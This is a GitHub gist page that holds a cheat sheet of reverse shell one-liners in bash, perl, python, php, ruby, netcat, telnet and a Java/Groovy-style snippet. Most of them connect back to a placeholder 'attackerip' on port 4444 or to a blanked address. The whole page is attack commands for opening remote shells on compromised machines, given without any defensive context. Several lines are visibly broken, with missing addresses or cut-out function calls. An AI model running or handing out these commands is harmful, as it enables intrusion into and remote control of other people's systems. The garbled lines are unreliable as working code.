Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Reverse shells
bash -i >& /dev/tcp/ 0>&1
#bash alt
exec /bin/bash 0&0 2>&0
#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
#bash alt 3
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#perl alt
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#perl on windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
#full php shell page can be found here:
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#ruby that doesn't depend on /bin/sh
ruby -rsocket -e 'exit if fork;"attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'
#ruby on windows
ruby -rsocket -e '"attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'
nc -e /bin/sh 1234
#netcat alt
nc -c /bin/sh attackerip 4444
#netcat alt 2
/bin/sh | nc attackerip 4444
#netcat alt 3
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
#wrong version of netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
#telnet alt
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment